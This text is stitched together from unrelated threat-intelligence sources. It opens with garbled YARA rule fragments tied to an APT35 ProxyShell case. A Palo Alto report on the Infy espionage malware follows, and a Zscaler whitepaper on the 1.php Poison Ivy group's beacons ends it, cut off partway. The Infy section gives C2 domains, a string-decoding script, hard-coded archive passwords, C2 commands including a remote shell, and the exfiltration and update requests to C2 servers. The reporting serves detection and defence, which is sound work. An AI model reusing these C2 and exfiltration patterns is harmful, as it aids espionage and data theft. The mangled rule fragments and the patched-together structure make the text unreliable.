assembly xmlns\urn:schemas-microsoft-com:asm.v1\ manifestVersi ascii s2   or \requireAdministrator\ -- v3:requestedExecutionLevel level\requireAdministrator\ / /v3:requestedPrivileges /v3:se ascii s3  -InitOnceExecuteOnce fullword ascii s4   dependency dependentAssembly assemblyIdentity type\win32\ name\Microsoft.
Windows.
Common-Controls\ version\6.0.0.0 ascii s5  v3\urn:schemas-microsoft-com:asm.v3\ v3:security v3:requestedPrivileges -- level can be \asInvoker\, \highestAvaila ascii s6  PB_GadgetStack_I64i fullword ascii s7  PB_DropAccept fullword ascii s8  PB_PostEventMessage fullword ascii s9  PB_WindowID fullword ascii s10  ?
GetLongPathNameA fullword ascii s11  cessorArchitecture\\ publicKeyToken\6595b64144ccf1df\ language\\ / /dependentAssembly /dependency v3:trustInfo  ascii s12  Memory page error fullword ascii s13  PPPPPPH fullword ascii s14  YZAXAYH fullword ascii s15  d:I64d:I64d:I64d fullword ascii s16  PYZAXAYH fullword ascii s17  PB_MDI_Gadget fullword ascii s18  ?
xml version\1.0\ encoding\UTF-8\ standalone\yes\?
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ComponentModel.
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Xml.
Linq, Version4.0.0.0, Cultureneutral, PublicKeyTokenb77a5c561934e089 fullword ascii s5  ZSystem.
ServiceModel.
Web, Version4.0.0.0, Cultureneutral, PublicKeyToken31bf3856ad364e35 fullword ascii s6  YSystem.
Web.
DynamicData, Version4.0.0.0, Cultureneutral, PublicKeyToken31bf3856ad364e35 fullword ascii 21/22 s7  XSystem.
Web.
Extensions, Version4.0.0.0, Cultureneutral, PublicKeyToken31bf3856ad364e35 fullword ascii s8  VSystem.
Web.
Services, Version4.0.0.0, Cultureneutral, PublicKeyTokenb03f5f7f11d50a3a fullword ascii s9  MSystem.
Web, Version4.0.0.0, Cultureneutral, PublicKeyTokenb03f5f7f11d50a3a fullword ascii s10  WSystem.
Configuration, Version4.0.0.0, Cultureneutral, PublicKeyTokenb03f5f7f11d50a3a fullword ascii s11  System.
Data.
DataSetExtensions, Version4.0.0.0, Cultureneutral, PublicKeyTokenb77a5c561934e089 fullword ascii s12  NSystem.
Core, Version4.0.0.0, Cultureneutral, PublicKeyTokenb77a5c561934e089 fullword ascii s13  ZSystem.
WorkflowServices, Version4.0.0.0, Cultureneutral, PublicKeyToken31bf3856ad364e35 fullword ascii s14  WSystem.
IdentityModel, Version4.0.0.0, Cultureneutral, PublicKeyTokenb77a5c561934e089 fullword ascii s15  aSystem.
ServiceModel.
Activation, Version4.0.0.0, Cultureneutral, PublicKeyToken31bf3856ad364e35 fullword ascii s16 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA wide / base64 encoded string  / s17  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA wide / base64 encoded string  / s18  aSystem.
Web.
ApplicationServices, Version4.0.0.0, Cultureneutral, PublicKeyToken31bf3856ad364e35 fullword ascii s19  \\System.
EnterpriseServices, Version4.0.0.0, Cultureneutral, PublicKeyTokenb03f5f7f11d50a3a fullword ascii s20  SMicrosoft.
CSharp, Version4.0.0.0, Cultureneutral, PublicKeyTokenb03f5f7f11d50a3a fullword ascii condition: uint16(0)  0x5a4d and filesize  2000KB and 1 of (x) and 4 of them  rule _user_task_update_0 meta: description  9893_files - from files user.exe, task_update.exe author  TheDFIRReport reference  https://thedfirreport.com/2022/03/21/apt35-automates-initial- access-using-proxyshell/ date  2022-03-21 hash1  7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b hash2  12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a strings: s1  -InitOnceExecuteOnce fullword ascii s2  PB_GadgetStack_I64i fullword ascii s3  PB_DropAccept fullword ascii s4  PB_PostEventMessage fullword ascii s5  PB_WindowID fullword ascii s6  ?
GetLongPathNameA fullword ascii s7  Memory page error fullword ascii s8  PPPPPPH fullword ascii s9  YZAXAYH fullword ascii s10  d:I64d:I64d:I64d fullword ascii 22/22 s11  PYZAXAYH fullword ascii s12  PB_MDI_Gadget fullword ascii s13  PostEventClass fullword ascii s14  thYZAXAYH fullword ascii s15  YZAXAYH fullword ascii s16  Floating-point underflow (exponent too small) fullword ascii s17  Inexact floating-point result fullword ascii s18  Single step trap fullword ascii s19  Division by zero (floating-point) fullword ascii s20  tmHcI(H fullword ascii condition: ( uint16(0)  0x5a4d and filesize  300KB and ( 8 of them ) ) or ( all of them )  MITRE Exploit Public-Facing Application  T1190 OS Credential Dumping  T1003 Account Manipulation  T1098 Valid Accounts  T1078 Ingress Tool Transfer  T1105 Match Legitimate Name or Location  T1036.005 Windows Service  T1543.003 Web Shell  T1505.003 System Information Discovery  T1082 System Network Configuration Discovery  T1016 System Owner/User Discovery  T1033 Windows Command Shell  T1059.003 Internal case 9893
Prince of Persia: Infy Malware Active In Decade of Targeted Attacks researchcenter.paloaltonetworks.com /2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted- attacks/ Attack campaigns that have very limited scope often remain hidden for years.
If only a few malware samples are deployed, its less likely that security industry researchers will identify and connect them together.
In May 2015, Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account, sent to an Israeli industrial organization.
One e-mail carried a Microsoft PowerPoint file named thanks.pps (VirusTotal), the other a Microsoft Word document named request.docx.
Around the same time, WildFire also captured an e-mail containing a Word document (hello.docx) with an identical hash as the earlier Word document, this time sent to a U.S. Government recipient.
Based on various attributes of these files and the functionality of the malware they install, we have identified and collected over 40 variants of a previously unpublished malware family we call Infy, which has been involved in attacks stretching back to 2007.
Attacks using this tool were still active as of April 2016.
Attack Technique The attacks we have identified carrying Infy begin with a spear-phishing e-mail carrying a Word or PowerPoint document.
The attached document file contains a multi-layer Self-Extracting Executable Archive (SFX), and content attempting to social engineer the recipient into activating the executable.
In this example, the PPS file, when clicked, opens in PowerPoint Show mode.
The user sees a PowerPoint page (Figure 1) that mimics a paused movie, and is tricked into clicking Run (Figure 2), which allows the embedded SFX file to execute.
Figure 1 PowerPoint page mimics a paused video 1/11 http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/ https://www.virustotal.com/en/file/a1d5ab7125f002262151e516151e9b9223b3f5ca3863d69dd8a12b066c162906/analysis/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-4_1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-4_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-5.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-6.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-7.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-8.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-8_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-9.png Figure 2 User tricked into running embedded SFX EXE One of the SFX layers is encrypted with the key 1qaz2wsx3edc.
The package (Figure 3) typically includes a fake readme.txt file as camouflage (for example, impersonating an Aptana Studio application), and in some campaigns, image or video files (Figure 4).
The executable typically has a filename pattern ins[].exe where  are random digits of up to 4 characters.
The main payload is a DLL file with a typical filename pattern mpro[].dll where  are random digits of up to 3 characters (early versions used a .cpl extension).
Figure 3 Embedded SFX contents Figure 4 Some campaigns include image or video files as camouflage The executable installs the DLL, writes to the autorun registry key, and doesnt activate until a reboot.
After reboot, it first checks for antivirus and then connects to the C2.
It starts collecting environment data, initiates a keylogger, and steals browser passwords and content such as cookies, before exfiltrating the stolen data to the C2 server.
The initially-observed thanks.pps example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll.
Infrastructure 2/11 In our initial samples, we observed C2 servers updateserver3[.
]com and us1s2[.]strangled[.
]net.
Other campaigns use a combination of Dynamic DNS providers, third-party site hosting services, and apparently first-party-registered domains as C2 servers.
Analysis of hosting and WHOIS data (Figure 5) led to a total of 12 related first-party-registered domains used for C2 servers: bestbox3[.
]com myblog2000[.
]com safehostonline[.
]com updateserver3[.
]com short-name[.
]com bestupdateserver2[.
]com bestwebstat[.
]com updatebox4[.
]com bestupdateserver[.
]com short-url20[.
]com updateserver1[.
]com box4054[.
]net Ages of these domains suggest that some may have been used for malicious activity back as far as early 2010.
We found a report by the Danish Defense Intelligence Services Center for Cybersecurity , which had observed similar attacks against Danish Government targets, and documented a small portion of the same C2 infrastructure.
3/11 https://fe-ddis.dk/cfcs/CFCSDocuments/Phishing uden fangst.pdf Figure 5 Infrastructure and Actor information related to Infy Attacks We initially found a file with an identical hash as the originally-observed PowerPoint file, but a different filename (syria.pps), uploaded to VirusTotal (Figure 6) also in May of 2015.
A characteristic observed across these campaigns is that the actor puts deliberate effort into the specific geographic targeting, with region-specific attack content.
4/11 Figure 6 Powerpoint file uploaded to VirusTotal with a different file name We were subsequently able to pivot and associate additional malware and campaigns based on infrastructure, hashes, strings, and payload links and similarities.
The most conclusive evidence that all of these are linked is found in a single key, used to encode strings within the malware across all examples.
Only the offset varies: older versions encode just the C2 data, newer versions encode most strings, and some double-encode the C2 data with two different offsets.
The following script can be used to decode these strings: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import string import base64 FIRST_PHASE OQTJEqtsK0AUB9YXMwr8idozF7VWRPpnhNCHI6Dlkaubyxf5423jvcZ1LSGmge SECOND_PHASE PqOwI1eUrYtT2yR3p4E5o6WiQu7ASlDkFj8GhHaJ9sKdLfMgNzBx0ZcXvCmVnb def decrypt(input, offset-10): result for i, c in enumerate(input): i  i  62  1 try: index  FIRST_PHASE.index(c) except ValueError: result  c continue translated  SECOND_PHASE[(index - i  offset)  len(SECOND_PHASE)] result  translated return result 5/11 Based on this specific encoding technique and key, we have identified related Infy samples from as early as mid 2007 (Figure 7), although more frequent related activity is observed after 2011.
Historic registration of the C2 domain associated with the oldest sample that we found, fastupdate[.
]net, suggests that it may have been associated with malicious activity as far back as December 2004.
Over the years, we notice continued development and feature improvement in the code.
For instance, support for the new Microsoft Edge browser was recently introduced in version 30.
Figure 7 Oldest related example found dates to 2007 Most of the associated malware samples dating back over the last five years were eventually detected by antivirus programs, but in most cases with a generic signature.
Other examples are named with multiple unrelated signature classifications, including Win32/Tuax.
A (very old versions), W32/ADOKOOB, Win32/Cloptern.
A  B (old versions), TR/Graftor.106254, TR/Spy.
Arpnatis.
A, and Win32/Skeeyah.
Abit.
We refer to the malware as Infy because the actor used this string in multiple locations, including filenames (infy74f1.exe  Infy version 7.4 F1), C2 strings (subjectINFY M 7.8), and C2 folder names.
Attribution The Gmail account sending the emails in the attack that we first observed (Figure 8), belongs to an Israeli victim.
That account was itself victim of an e-mail-borne attack that compromised the users system and e-mail account.
Figure 8 First-observed attack, via email Among WHOIS records for first-party domains used in the C2 infrastructure, we find three email accounts bearing a strong similarity in naming pattern: 6/11 The WHOIS records with the first two email addresses (and other C2 domains) have apparently fake WHOIS content.
The aminjalali_58 (at) yahoo.com email address is associated with 6 known C2 domains, dating back to 2010.
Unlike the fake WHOIS examples, this example has content more consistent with the email address: amin jalali safehostonline afriqa street number 68 tehran Tehran 19699 IR 98.935354252 aminjalali_58 (at) yahoo.com The name Amin Jalali is not unique, though it does appear to have Iranian-specific origins.
We find profiles and artifacts combining the name and 58, which may (or may not) be the same individual, and all of which have Iranian links.
When we look at domains on neighboring IP addresses from known first-party C2s, we observe numerous Iranian domains, suggesting possibly an Iranian hosting reseller  and in at least one case, a free Iranian web host (Figure 9).
Figure 9 Neighbor IP addresses with Iranian domains Conclusion We have enough evidence to conclude a pattern of behavior following extensive analysis of this malware and C2 infrastructure between these samples.
The activity has been observed over almost 10 years, with the malware being constantly improved and developed.
The low-volume of activity, deliberate campaign focus and content tailoring, and nature of targets hints at the goals of this actor.
We believe that we have uncovered a decade-long operation that has successfully stayed under the radar for most of its existence as targeted espionage originating from Iran.
It is aimed at governments and businesses of multiple nations as well as its own citizens.
Palo Alto Networks customers are protected from this threat in the following ways: 1.
WildFire accurately identifies all malware samples related to this operation as malicious.
7/11 2.
Domains used by this operation have been flagged as malicious in Threat Prevention.
3.
AutoFocus users can view malware related to this attack using the Infy tag.
IOCs can be found in the appendices of this report.
Special thanks to Michael Scott for assistance with Maltego in this investigation.
Appendix 1  Detailed Infy Malware Analysis Although Infy is fundamentally one malware family, we observe two distinct variants.
The regular variant Infy is versioned by the malware author 1-30 (1999 -15999 sub-versions).
In addition, we observe a distinct variant Infy M developed in parallel with the regular variant since about 2013.
Infy M appears to be a full featured variant, deployed against high-value targets.
It includes more functionality: while the original variant has no remote control, M adds the ability for the C2 to issue commands to the malware via C2 PHP scripts HTTP support a hidden GUI control panel and FTP client.
Infy Detailed analysis of a recent Infy sample (version 30, active from 24 February 2016): The initial executable first checks for installed antivirus programs.
It uses the Windows API function GetFileattributeA on a list of several common AV installation directories, testing any positive return with file_attribute_directory.
Depending on which AV Infy finds, it will either abort, or install the malicious Infy DLL using a different technique.
This concern with avoiding client-AV detection, skipping installation rather than risk alerting, is somewhat noteworthy (as opposed to the relatively common sandbox-detection techniques).
The EXE installs the DLL, writes to the autorun key, and does nothing else until restart.
Upon restart, the EXE loader executes the main function, exported by the DLL malware file DLL (previously we observed functions named start1/start2/start3) with the parameter /rcv (this version uses a decryption offset of 19).
It installs itself in cyberlink directory.
It will then search for files with bak, csv, or cnt, extensions.
If the parameter /rcv was used, it starts a keylogger (the keylogger uses a window name TRON2VDLLB (GetMessageA/translate message/DispatchMessageA).
It next registers hotkeys, and gets clipboard data.
Get_browser_data steals passwords, forms, cookies, history (from Microsoft Edge, Internet Explorer, Google Chrome, Opera, and Firefox).
The malware connects to the C2 every five minutes using HTTP, posting: computer name user name dn  n1 ver  30 lfolder f cpuid machineguid (from hklm\SOFTWARE\Microsoft\Cryptography\machineguid) tt time After posting data about the infected system to the C2 server, the malware downloaded an update named v30nXf1.tmp file to temp\drvtem64.tmp.
If the download is successful, the malware writes OK, Downloaded [url file] to log file.
It then connects again, with a similar posting format, but this time also adding tt (time) and cpuid.
It installs the downloaded file with parameter -sp/ins -pBA5a88E.
A third connection adds sfolder, 8/11 subject, and this time exfiltrates data in the body parameter.
Each variant of Infy uses specific cover camouflage to with file metadata that makes it appear as though it is legitimate software.
In this case, the file used the software name Cyberlink, and a description of CLMediaLibrary Dynamic Link Library and listing version 4.19.9.98.
Infy M We observed the Infy M variant with versions 6.1 through 7.8, adding features including screen capture, document capture  upload, and microphone capture.
Infy M supports the following C2 commands: ASIDLE  idle ASDIR  directory list of files ASPUT  download file ASGET  upload file ASZIPGET  upload as zip ASDELETE  delete file ASRENAME  rename file ASRUN  execute file ASENDTASK  terminate process ASZIP  zip file ASSHELL  remote shell The M variant uses mostly distinct C2 servers from the regular Infy samples (although very recently, we also observed version 7.8 using C2 youripinfo.com, previously seen as C2 for the regular variant): bestupdateserver[.
]com  Observed 2013-12-09 www.bestupdateserver[.
]com  Observed 2013-04-26 bestbox3[.
]com  Observed 2015-08-25 www.bestupdateserver2[.
]com  Observed 2015-05-22 bestupdateserver2[.
]com  Observed 2014-07-16 Analysis of an early version of M, 6.2 Versions 6.x of the Infy M variant camouflage themselves with file and window names set to Borland hcrtf.
They use a single EXE, rather than a loader EXE and payload DLL as seen in the original variant.
The malware initially performs a check to see if the victim as already infected by checking for window names Borland hcrtf 6.x or Macromedia Swsoc 7.x.
We have identified five hidden GUI control forms in Infy M, one of which is not used.
The first form includes three possible parameters.
Parameter /ins installs the Trojan.
It first creates and starts the service and on Windows versions prior to Vista it requires the /s parameter.
After installing itself, the malware deletes any previous Infy installations.
The does this by terminating processes and deleting Infy files in system32, appdata, appdata\hcrtf (for example, pre-6.1 files incsy32.exe, incs32.exe, ntvdn.exe, grep.exe, hcrtf.exe, grep.dll).
It then renames the ini file from grepc.ini to hcrtfc.ini.
It completes clean-up by deleting the inverse Ser32, grep, and hcrtf services.
Finally, it downloads and executes the update file from the C2 at /infy/update.php.
The /c (copy) parameter sets up autostart for the malware by writing to registry key run (Windows Vista and above) or runservices (versions prior to Windows Vista).
The /s (service) parameter creates and starts the service (Windows Vista and later).
At this point, the malware waits, and handles any commands issued over HTTP from the C2 (for example, execute a remote shell upon receiving command ASSHELL).
9/11 The second form monitors for new or modified document files using CreateIoCompletionPort and ReadDirectoryChangesW.
It targets document file types .doc, .xls , .jpg, .jpe, .txt, .htm, .pgp, .pdf, .zip, and .rar and ZIP compresses them (using the password Z8(2000_2001uI) into a file located at \Program Files\Yahoo\Messenger\Profiles\yfsbg\yfsbg\3dksf.tmp.
The third form takes a screen captures and stores it the yfsbg folder as 4dksf.tmp.
It the uploads the screenshot and document-capture files using POST (instead of using GET as seen in the regular variants) to C2 server/infy/fms.php.
The fourth form is not used.
The fifth form is used for microphone capture.
The 7.x versions install themselves as swsoc.exe (7.4 also seen using infy74f1.exe) at documents and settings\all users\application data\macromedia\8080\swsoc.exe.
They also create a subfolder fsbg, where they store the copies of documents opened by the user.
These are stored with their CRC value as their filename, RAR compressed with the same password Z8(2000_2001uI.
We observed a server reply with error in the PHP, giving us some of their underlying file structure: bWarning/b: Cannot modify header information  headers already sent by (output started at /home/bestupda/public_html/infy/fms.php:115) in b/home/bestupda/public_html/infy/fms.php/b on line b116/bbr / Upgrade requests are observed with this syntax (here, version 6.2 to the latest version): http://www.bestupdateserver.com/infy/update.php?cncomputernamever6.2u27/3/2016 20:37:23 Appendix 2  Observed Hashes A list of hashes for associated files observed in this operation can be found here.
Appendix 3  Observed Infy C2 Domains analyse1[.]mooo[.
]com best[.]short-name[.
]com best2[.]short-name[.
]com best2[.]short-url20[.
]com best3[.]short-url20[.
]com best4[.]short-url20[.
]com best5[.]short-url20[.
]com best6[.]short-url20[.
]com best7[.]short-url20[.
]com bestbox3[.
]com bestupdateserver[.
]com bestupdateserver2[.
]com bestupser[.]awardspace[.
]info bestwebstat[.
]com bl2pe[.]bestwebstat[.
]com box4054[.
]net c1[.]short-url20[.
]com dbook[.]soon[.
]it dsite[.]dyx[.]comextd[.]mine[.
]bz fastecs[.]netfirms[.
]com 10/11 https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv fastupdate[.
]net gstat[.]strangled[.
]net lost[.]updateserver1[.
]com lu[.]ige[.
]es mand[.]pwnz[.
]org myblog2000[.
]com ns2[.]myblog2000[.
]com nus[.]soon[.
]it safehostonline[.
]com secup[.]soon[.
]it short-name[.
]com short-url20[.
]com update[.]info[.
]gf updatebox4[.
]com updateserver1[.
]com updateserver3[.
]com us1[.]short-name[.
]com us12[.]short-url20[.
]com us13[.]short-url20[.
]com us15[.]short-url20[.
]com us16[.]short-url20[.
]com us1s2[.]strangled[.
]net wep[.]archvisio[.
]com wep[.]soon[.
]it wpstat[.]mine[.
]bz wpstat[.]strangled[.
]net www[.]fastupdate[.
]net www[.]updateserver1[.
]com youripinfo[.
]com 11/11 Prince of Persia: Infy Malware Active In Decade of Targeted Attacks Attack Technique Infrastructure Attribution Conclusion Appendix 1  Detailed Infy Malware Analysis Infy Infy M Analysis of an early version of M, 6.2 Appendix 2  Observed Hashes Appendix 3  Observed Infy C2 Domains
Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 1 Whitepaper: Alleged APT Intrusion Set: 1.php Group Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
All Rights Reserved.
Page 2 Summary The following release statement provides a brief summary of information related to the 1.php Group dating from 2008 to present.
This Groups methods tend to be spear-phishing emails with malicious PDF attachments or web links to binary executables with a Poison Ivy remote administration tool (RAT) payload.
The Groups targeted victims included China/US relations experts, Defense entities, and the Geospatial industry.
Zscaler detected repeated infections from this Group to a customer related to this target list.
The following report summarizes the incident details to increase awareness of these attacks in order to increase detection, response, and prevention.
A much more detailed report has been provided to impacted parties, stakeholders, and other trusted groups dealing with these incidents.
The larger report dives into more details about the command and control servers (CCs) being used by this Group.
If you are working on similar research would like to collaborate, please contact threatlabzzscaler.com and we will share the detailed report with select entities.
Introduction Zscaler provides inline security and policy enforcement of web and email transactions to include full-content inspection and comprehensive transaction logging and analysis.
Given that many of Zscalers customers are large enterprises, it is not surprising that some have been the target of so called Advanced Persistent Threats (APTs).
During the course of our daily activities researching various threats, Zscaler ThreatlabZ often uncovers infected hosts that we believe have been compromised via attacks that bear the signature of an APT attack.
While there is no universally accepted definition of APT attacks, for the purposes of this paper we will leverage Richard Bejtlichs blog post on the subject1.
This Groups methods tend to be spear-phishing emails with malicious PDF attachments or web links to binary executables with a (RAT) payload.
-Zscaler ThreatLabZ The Groups targeted victims included China/US relations experts, Defense entities, and the Geospatial industry.
-Zscaler ThreatLabZ 1.
http://taosecurity.blogspot.com/2010/01/what-is-apt-and-what-does-it-want.html Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
All Rights Reserved.
Page 3 Advanced means the adversary can operate in the full spectrum of computer intrusion.
They can use the most pedestrian publicly available exploit against a well-known vulnerability, or they can elevate their game to research new vulnerabilities and develop custom exploits, depending on the targets posture.
Persistent means the adversary is formally tasked to accomplish a mission.
They are not opportunistic intruders.
Like an intelligence unit they receive directives and work to satisfy their masters.
Persistent does not necessarily mean they need to constantly execute malicious code on victim computers.
Rather, they maintain the level of interaction needed to execute their objectives.
Threat means the adversary is not a piece of mindless code.
This point is crucial.
Some people throw around the term threat with reference to malware.
If malware had no human attached to it (someone to control the victim, read the stolen data, etc.
),
then most malware would be of little worry (as long as it didnt degrade or deny data).
Rather, the adversary here is a threat because it is organized and funded and motivated.
Some people speak of multiple groups consisting of dedicated crews with various missions.
the adversary here is a threat because it is organized and funded and motivated.
Some people speak of multiple groups consisting of dedicated crews with various missions.
-Richard Bejtlich, TaoSecurity blog Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
All Rights Reserved.
Page 4 Summary....................................................................................................................... 1 Introduction ................................................................................................................... 1 Section 1: 1.php Group Open-Source Intelligence (OSINT) ......................................... 5 Section 2:  Customer Infection Behavior ........................................................................ 8 2.1  GET Beacons with Modified XOR Parameters......................................................... 8 2.2  GET Beacons with Data moved to URL path ........................................................... 9 2.3  HTTPS CONNECTs to CCs ................................................................................... 9 Section 3:  Indent Inter-Relationships ............................................................................ 10 3.1  Possible Relationship to Other APT Incidents ......................................................... 12 Section 4:  Lessons Learned .......................................................................................... 13 4.1  Conduct logging and analytics within your environment ......................................... 13 4.2  Correlate with other sources .................................................................................. 14 4.3  APTs are not always that Advanced ....................................................................... 14 4.4  APTs are not limited to the United States Government or Defense Industrial Base ... 14 4.5  APT Information Disclosure Remains a Challenge .................................................. 15 Conclusion .................................................................................................................... 16 Contents Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 5 Section 1: 1.php Group Open-Source Intelligence (OSINT) There is a good deal of information in the public domain related to 1.php Group incidents (malware and CCs) that can be correlated with incident activity that we identify and detail within this report.
Intrusion activities related to this Group date back at least to 2009, if not earlier (there is one sample we found dating back to 2008).
For example, a December 7, 2009 blog post by Contagio2  details a malicious phishing email regarding United States troop deployment in Afghanistan that provides a malicious link to: File name: WWW.DREAMLIFES.NET/Afghanistan/Afghanistan.zip.
MD5: 052E62513505A25CCFADF900A052709C Once unzipped, the malware is a Windows executable with an SCR extension that is identified as a Poison Ivy RAT variant.
Beyond simple phishing attacks with links to malware, the Group also sends spear- phishing emails with malicious PDF attachments to their targets.
For example, the SANS ISC Handlers Diary drew attention to this Groups phishing campaign exploiting CVE-2009-4324 in January 2010.
A screenshot of their story headline is below in: Figure 1 SANS ISC Diary Headline related to 1.php malware campaign3.
Figure 1 SANS ISC Diary Headline related to 1.php malware campaign An example of one of the Poison Ivy RAT payloads used during this campaign was: File name: SUCHOST.EXE dropped from Request.pdf email attachment MD5: B0EECA383A7477EE689EC807B775EBBB Once unzipped, the malware is a Windows executable with an SCR extension that is identified as a Poison Ivy RAT variant.
2.
http://contagiodump.blogspot.com/2009/12/attack-of-day-poison-ivy-zip-download.html 3.
http://isc.sans.edu/diary.html?storyid7867 -Zscaler ThreatLabZ Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 6 This file received commands from: CECON.FLOWER-SHOW.ORG.
More recently, in July 2011, open-source reports4  exist of Poison Ivy usage surrounding the FLOWER-SHOW.ORG domain.
This incident exploited PDF vulnerabilities (CVE-2010-2883) in attached spear-phishing emails targeting experts on Japan, China, Taiwan / USA relationships.
See a screenshot of the email in: Figure 2 Spear-phishing email with attachment exploiting CVE-2010-2883.
Figure 2 Spear-phishing email with attachment exploiting CVE-2010-2883 Once the Poison Ivy payload is installed, it frequently uses a unique beaconing pattern to communicate with a CC server.
To illustrate the communication sequence, reference the Joebox sandbox report5  for the following file: File name: Halloween.scr MD5: 5B90896127179F0AD2E6628593CDB60D 4.
http://contagiodump.blogspot.com/2011/07/jul-13-cve-2010-2883-pdf-meeting-agenda.html Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 7 This report shows that once infected, the victim: Communicates with CCs: FREE.COFFEELAUCH.COM (98.126.69.3) FIREHAPPY.SYTES.NET  (98.126.69.3) Via HTTP GET requests to the path: /1.php?id[data1]id[data2] id[data3]id[data4]idid 2.php, 3.php, and 4.php with id parameters and some with an ending Done have also been observed The data parameters are information about the infected host (IP, hostname, MAC address, username, and OS/system version) that have been base64 encoded and then XORed.
XOR keys of 0x3C and 0x3E have been observed.
An asterisk following a domain will designate No-IP6  dynamic DNS domains in this report.
Dynamic DNS is a service that provides free, cheap flexible domain hostname to IP address resolution and No-IP is one of the many vendors in this space.
While the malware variants used are generally referred to as Poison Ivy variants, there are many cases of them being detected/labeled as a generic Trojan, Backdoor, or something else entirely.
For example, in a December 2009 malware report Kaspersky lists one variant as Trojan.
Win32.Buzus.cvdu7  and in June 2010 another as Trojan.
Win32.Agent.
eevf8 .
Note the 1.php?id HTTP GET request for the initial CC check-in.
This specific behavior has been identified in the vast majority of past incidents involving this Group and is reason for the informal 1.php name used to describe these intrusion sets within the report.
More information may be garnered from the open-source community, but the above should be a sufficient introduction into the tactics, techniques, and procedures (TTPs) of this Group.
5.
http://support.clean-mx.de/clean-mx/view_joebox.php?md59339bb2af4d8c07e63051d0f120530e1id679603 6.
http://www.no-ip.com/services/managed_dns/free_dynamic_dns.html 7.
http://www.securelist.com/en/descriptions/7383071/Trojan.
Win32.Buzus.cvdu 8.
http://www.securelist.com/en/descriptions/7854148/Trojan.
Win32.Agent.eevf The 1.php?
HTTP GET request for the initial CC check- in has been identified in the majority of past incidents involving this Group and is the reason for the informal 1.php name used to describe this intrusion set.
-Zscaler ThreatLabZ Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 8 Section 2: Customer Infection Behavior Zscaler has observed on-going attacks from June 2010 to present, involving a Cleared Defense Contractor.
Given the entity involved and the characteristics of the traffic observed, Zscaler believes that the attack is directly related to the 1.php Group.
While these attacks appear related to the 1.php Group, the beacons do not bear the previously mentioned 1.php HTTP path.
However, there are many similarities regarding these new beacons as well as direct relationships regarding previously identified domains and IPs used by the 1.php group.
Presumably, these new beacon behaviors have been altered to evade any signatures designed to detect the previous 1.php beaconing behavior.
2.1 GET Beacons with Modified XOR Parameters One of the first variations that we noticed in the attacks, was that the infected hosts sent HTTP GET request check-ins to URLs with the general pattern of: FQDN/css.ashx?sc[data1]sp[data2]ad[data3]dh[data4]mr[d ata5]tk The data parameters contained the same victim information as mentioned in the 1.php beacons and were also base64 encoded and XORed with a key.
Examples of CCs that we observed for this particular check-in variant include: HOUSE.SUPERDOGDREAM.COM HOME.ALLMYDEARFRIENDS.COM GOOGLETIME.SERVEIRC.COM INFO.SPORTGAMEINFO.COM PEOPLE.ENJOYHOLIDAYS.NET PEARHOST.SERVEHALFLIFE.COM (June 2010  1st CC observed in infection) Zscaler believes that ongoing attacks against a sensitive customer are directly related to the 1.php Group.
-Zscaler ThreatLabZ Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
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Page 9 2.2 GET Beacons with Data moved to URL path The next variation that we noticed in attacks, involved the infected hosts sending HTTP GET request check-ins to URLs with the general pattern of: FQDN/[data1]/[data2]/[data3]/[data4]/[data5] The data did not appear to be XORed in the same manner as the beacons that were previously identified.
However, based on size and number of data blocks, it appears that the beacons contain similar information from the victims.
Examples of CCs used in this infection variant include: SATELLITE.QUICKSEARCHMOVIE.COM WWW.TOYHOPING.COM WORK.FREETHROWLINE.NET SEA.ANIMALFANS.NET WWW.SEARCHSEA.NET LOVE.ANIMALFANS.NET WWW.JOBCALL.ORG 2.3 HTTPS CONNECTs to CCs The latest variations on these attacks are related to customer infections beginning on August 3, 2011.
Prior to infection for this incident, as well as the previous ones listed, web transaction logs did not provide any strong evidence of the infection point  it is currently believed that the infection point was through malicious email attachments (as was the case in many of the 1.php OSINT incidents).
Following infection, many web transactions were witnessed each hour to the CC servers via HTTPS with the following behaviors: CONNECT on port 443/TCP with 200 HTTP response code HTTP request version 1.0 with HTTP response version 1.1 Request size for keep-alive beacons were primarily 227  228 bytes Response size is most commonly between 969  990 bytes Microsoft Internet Explorer 6.0 user-agent string (hard-coded into malware, as this is not a standard browser for this customer) it is currently believed that the infection point was through malicious email attachments (as was the case in many of the 1.php OSINT incidents).
-Zscaler ThreatLabZ Alleged APT Intrusion Set: 1.php Group 2011 Zscaler.
